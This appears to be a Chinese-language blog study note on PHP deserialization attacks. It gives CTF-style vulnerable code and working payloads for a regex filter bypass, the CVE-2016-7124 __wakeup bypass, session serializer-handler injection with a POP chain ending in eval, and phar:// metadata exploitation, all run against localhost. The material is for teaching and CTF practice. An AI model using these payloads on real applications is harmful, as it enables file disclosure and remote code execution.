PHP反序列化筆記

  • 2020 年 2 月 19 日
  • 筆記
  • 目錄
  • private變數與protected變數序列化後的特點
  • 序列化後的欄位長度前面可以加+
    • 題目
    • 解題步驟
  • CVE-2016-7124
    • 漏洞介紹
    • 演示程式碼
    • 題目
    • 解題步驟
  • PHP Session 反序列化
    • PHP的3種序列化處理器
    • 安全問題
      • 當 session.auto_start=Off 時
        • 測試Demo
    • 題目
    • 解題步驟
  • phar反序列化

private變數與protected變數序列化後的特點


x00 + 類名 + x00 + 變數名 ‐> 反序列化為private變數  x00 + * + x00 + 變數名 ‐> 反序列化為protected變數
<?php  highlight_file(__FILE__);  class user{      private $name2 = 'leo';      protected $age2 = 19;        public function print_data(){          echo $this‐>name2 . ' is ' . $this‐>age2 . ' years old <br>';      }  }  $user = new user();  $user‐>print_data();  echo serialize($user);    ?> leo is 19 years old  O:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}

序列化後的欄位長度前面可以加+


題目

<?php  @error_reporting(1);  class baby  {      public $file;      function __toString()  {          if(isset($this‐>file))          {              $filename = "./{$this‐>file}";              if (file_get_contents($filename))              {                  return file_get_contents($filename);              }           }      }  }  if (isset($_GET['data']))  {      $data = $_GET['data'];      preg_match('/[oc]:d+:/i',$data,$matches); // 這裡匹配到O後面跟著數字就攔截      if(count($matches))      {          die('Hacker!');      }      else      {          $good = unserialize($data);          echo $good;      }  }  else  {      highlight_file("./index.php");  }  ?>

解題步驟


1. 構造序列化對象

<?php  // highlight_file(__FILE__);  class baby  {      public $file;      function __toString()  {          if(isset($this‐>file))          {              $filename = "./{$this‐>file}";              if (file_get_contents($filename))              {                  return file_get_contents($filename);              }          }      }  }    $baby = new baby();  $baby‐>file = 'flag.php';  echo serialize($baby);    ?>    得到如下內容:  O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

2. 重構對象

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

3. url編碼

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

4. 訪問

http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

CVE-2016-7124


漏洞介紹


當序列化字元串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

演示程式碼


<?php  highlight_file(__FILE__);  class test{      var $bull;      public function __destruct(){          $this‐>bull = "destruct<br/>";          echo $this‐>bull;          echo "destruct ok!<br/>";      }      public function __wakeup(){          $this‐>bull = "wake up<br/>";          echo $this‐>bull;          echo "wake up ok!<br/>";      }  }  // 正常payload  // $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}  // 觸發漏洞的payload  $payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';  $abc = unserialize($payload);    ?>

題目

<?php    class SoFun{      protected $file='index.php';      public function __construct($file){          $this‐>file = $file;        }      function __destruct(){          if(!empty($this‐>file))          {              //查找file文件中的字元串,如果有'\'和'/'在字元串中,就顯示錯誤              if(strchr($this‐>file,"\")===false && strchr($this‐>file, '/')===false)              {                  show_source(dirname (__FILE__).'/'.$this ‐>file);              }              else{                      die('Wrong filename.');                  }          }      }      function __wakeup()  {          $this‐> file='index.php';      }      public function __toString()  {          return '';      }  }      if (!isset($_GET['file']))      {          show_source('index.php');      }      else{          $file=base64_decode( $_GET['file']);          echo unserialize($file);      }  ?>

解題步驟


1. 獲得反序列化對象

<?php    class SoFun{      protected $file='index.php';      public function __construct($file){          $this‐>file = $file;      }      function __destruct(){          if(!empty($this‐>file))          {              //查找file文件中的字元串,如果有'\'和'/'在字元串中,就顯示錯誤              if(strchr($this‐>file,"\")===false && strchr($this‐>file, '/')===false)              {                  show_source(dirname (__FILE__).'/'.$this ‐>file);              }              else{                  die('Wrong filename.');                  }          }      }      function __wakeup()      {          $this‐> file='index.php';      }      public function __toString()      {          return '';      }  }      if (!isset($_GET['file']))      {        //show_source('index.php');      }      else{          $file=base64_decode( $_GET['file']);          echo unserialize($file);      }  $test = new SoFun('flag.php');    echo base64_encode(serialize($test));    結果:  Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9  ?>

2. 利用漏洞

# 把變數數量更改為大於實際的變數數量並重新用base64編碼  Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

3. 訪問URL

http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

PHP Session 反序列化


PHP的3種序列化處理器


PHP 內置了多種處理器用於存取$_SESSION數據時會對數據進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式

處理器

對應的存儲格式

php

鍵名 + 豎線 + 經過 serialize() 函數序列化處理的值

php_binary

鍵名的長度對應的 ASCII 字元 + 鍵名 + 經過serialize()函數序列化處理的值

php_serialize(php>=5.5.4)

經過serialize()函數序列化處理的數組

安全問題


當 session.auto_start=Off 時

當PHP序列化使用的是php_serialize,反序列化使用的是php的時候就會出現安全問題

此時注入的數據是a=|O:4:"test":0:{} 那麼通過php_serialize反序列化儲存的結果就是a:1: {s:1:"a";s:16:"|O:4:"test":0:{}";} 根據php的反序列化格式( 鍵名 + 豎線 + 經過 serialize() 函數反序 列處理的值 ),此時a:1:{s:1:"a";s:16:" 就會被當作鍵名, O:4:"test":0:{}"; 就會被當作序列化後的值

測試Demo


1. php

<?php  ini_set("session.serialize_handler", 'php_serialize');  session_start();  $_SESSION['a'] = $_GET['a'];  ?>

2. php

<?php  ini_set("session.serialize_handler", 'php');  session_start();  class peiqi{      public $meat = '123';      function __wakeup(){          echo "I AM Peiqi";      }      function __destruct(){          echo $this‐>meat;      }  }  ?>

先對2.php的peiqi類進行序列化

<?php  class peiqi{      public $meat = '123';      function __wakeup(){          echo "I AM Peiqi";      }      function __destruct(){          echo $this‐>meat;      }  }  $a = new peiqi();  $a‐>meat = '3333';  echo serialize($a);  // 輸出結果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}  ?>

通過1.php文件 把序列化後的內容寫入到session 主要前面要加|

http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}

然後訪問2.php 觸發php處理器進行反序列化session文件

此時session文件裡面的內容

題目


index.php

<?php      ini_set('session.serialize_handler', 'php');      //伺服器反序列化使用的處理器是php_serialize,而這裡使用了php,所以會出現安全問題      require("./class.php");      session_start();        $obj = new foo1();      $obj‐>varr = "phpinfo.php";  ?>

phpinfo.php

<?php      session_start();      require("./class.php");        $f3 = new foo3();      $f3‐>varr = "phpinfo();";      $f3‐>execute();  ?>

這裡為了方便實驗把session.upload_progress.cleanup變成off

class.php

<?php    highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));  //show_source(__FILE__);    class foo1{      public $varr;      function __construct(){          $this‐>varr = "index.php";      }      function __destruct(){          if(file_exists($this‐>varr)){              echo "<br>文件".$this‐>varr."存在<br>";          }          echo "<br>這是foo1的析構函數<br>";      }  }    class foo2{      public $varr;      public $obj;      function __construct(){          $this‐>varr = '1234567890';          $this‐>obj = null;      }      function __toString(){          $this‐>obj‐>execute();          return $this‐>varr;      }      function __desctuct(){          echo "<br>這是foo2的析構函數<br>";      }  }  class foo3{      public $varr;      function execute(){          eval($this‐>varr);      }      function __desctuct(){          echo "<br>這是foo3的析構函數<br>";      }  }    ?>

解題步驟


通過上面的學習,我們明白需要通過php_serialize來序列化,通過php來進行反序列化。

所以我們通過phpinfo.php來序列化,通過index.php來反序列化。

但是我們如何往session裡面寫入內容呢?

當session.upload_progress.enabled開啟時,PHP能夠在每一個文件上傳時監測上傳進度。

當POST中有一個變數與php.ini中的session.upload_progress.name變數值相同時,上傳進度就會寫入到session中

寫入到session的數據內容為:session.upload_progress.prefix與 session.upload_progress.name連接在一起的值

鏈接:https://bugs.php.net/bug.php?id=71101

<form action="http://127.0.0.1/test/phpinfo.php" method="POST" enctype="multipart/form‐  data"  >      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />      <input type="file" name="file" />      <input type="submit" />  </form>

這樣我們就可以控制session裡面的內容了

這樣利用漏洞的2個條件都有了

我們在看下3個php程式碼之間的關係

  1. php.php -> 用來寫入序列化內容
  2. index.php -> 用來進行反序列化
  3. class.php -> 用來被觸發執行惡意程式碼

我們在仔細看下class.php的程式碼

在這之前我們先介紹下,PHP的常用魔術方法

  1. __wakeup:unserialize( )會檢查是否存在一個_wakeup( ) 方法。如果存在,則會先調用 _wakeup 方法,預先準備對象需要的資源
  2. __construct:具有構造函數的類會在每次創建新對象時先調用此方法。
  3. __destruct:析構函數會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。
  4. __toString:_toString( ) 方法用於一個類被當成字元串時應怎樣回應。

在class.php的foo3類中我們看到

function execute(){            eval($this‐>varr);      }

所以我們需要給varr賦值,來執行語句

在foo2中我們看到

function __toString(){            $this‐>obj‐>execute();            return $this‐>varr;      }

所以我們需要把obj實例化成foo3對象,並且這個是__tosgtring()的魔術方法

在foo1中我們看到

function __destruct(){            if(file_exists($this‐>varr)){                echo "<br>文件".$this‐>varr."存在<br>";            }            echo "<br>這是foo1的析構函數<br>";      }

所以我們需要把varr實例化成foo2,來調用__tostring的魔術方法

1. 我們先構造序列化內容

<?php    highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));  //show_source(__FILE__);    class foo1{      public $varr;      function __construct(){          $this‐>varr = "index.php";      }      function __destruct(){          if(file_exists($this‐>varr)){              echo "<br>文件".$this‐>varr."存在<br>";          }          echo "<br>這是foo1的析構函數<br>";      }  }    class foo2{      public $varr;      public $obj;      function __construct(){          $this‐>varr = '1234567890';          $this‐>obj = null;      }      function __toString(){          $this‐>obj‐>execute();          return $this‐>varr;      }      function __desctuct(){          echo "<br>這是foo2的析構函數<br>";      }  }    class foo3{      public $varr;      function execute(){          eval($this‐>varr);      }      function __desctuct(){          echo "<br>這是foo3的析構函數<br>";      }  }    $a = new foo1();  $b= new foo2();  $c = new foo3();  $a‐>varr = $b;  $b‐>obj = $c;  $c‐>varr = "echo 'dfz';";    echo serialize($a);  // 輸出結果:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:  {s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}    ?>

2. 通過html頁面,寫入到session,同時序列化內容前要加上 |

3.訪問index.php

phar反序列化


https://blog.ripstech.com/2018/new-php-exploitation-technique/

利用phar函數可以在不適用unserialize()函數的情況下觸發PHP反序列化漏洞

漏洞點在使用phar://協議讀取文件時,文件內容會被解析成phar對象,然後phar對象內的Metadata資訊會被反序列化 通過一下程式碼創建一個phar文件

通過一下程式碼創建一個phar文件

<?php  // create new Phar  $phar = new Phar('test.phar');  $phar‐>startBuffering();  $phar‐>addFromString('test.txt', 'text');  $phar‐>setStub('<?php __HALT_COMPILER(); ? >');    // add object of any class as meta data  class AnyClass {}  $object = new AnyClass;  $object‐>data = 'rips';  $phar‐>setMetadata($object);  $phar‐>stopBuffering();  ?>

若出現下面這樣的提示

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive  "test.phar" disabled by the php.ini setting phar.readonly' in  D:phpstudyPHPTutorialWWWtestphar.php:3 Stack trace: #0  D:phpstudyPHPTutorialWWWtestphar.php(3): Phar‐>__construct('test.phar') #1 {main}  thrown in D:phpstudyPHPTutorialWWWtestphar.php on line 3

把php.ini中的phar.readonly 改為 Off重啟即可

phar文件的二進位內容如下

這個時候我們創建另一個php

<?php  class AnyClass {      function __destruct() {          echo $this‐>data;      }  }  // output: rips  include('phar://test.phar');  ?>

訪問就可以看到網頁輸出rips

除了include還可以使用下列函數

include('phar://test.phar');  var_dump(file_exists('phar://test.phar'));  var_dump(file_get_contents('phar://test.phar'));  var_dump(file('phar://test.phar'));  # 改了文件名同樣有效果  var_dump(file_get_contents('phar://test.jpg'));  var_dump(file_exists('phar://test.jpg'));  var_dump(file('phar://test.jpg'));  include('phar://test.jpg');    // 網站上的程式碼,同樣可以  file_exists($_GET['file']);  md5_file($_GET['file']);  filemtime($_GET['file']);  filesize($_GET['file']);

md5_file($_GET['file']);演示:

這樣我們利用phar來執行任意程式碼

<?php  // create new Phar  $phar = new Phar('test.phar');  $phar‐>startBuffering();  $phar‐>addFromString('test.txt', 'text');  $phar‐>setStub('<?php __HALT_COMPILER(); ? >');    // add object of any class as meta data  class AnyClass {}  $object = new AnyClass;  $object‐>data = 'rips';  $object‐>data1 = 'phpinfo();';  $phar‐>setMetadata($object);  $phar‐>stopBuffering();  ?>
<?php  class AnyClass {  function __destruct() {      echo $this‐>data;      eval($this‐>data1);  }  }  // output: rips  md5_file($_GET['file']);?>  ?>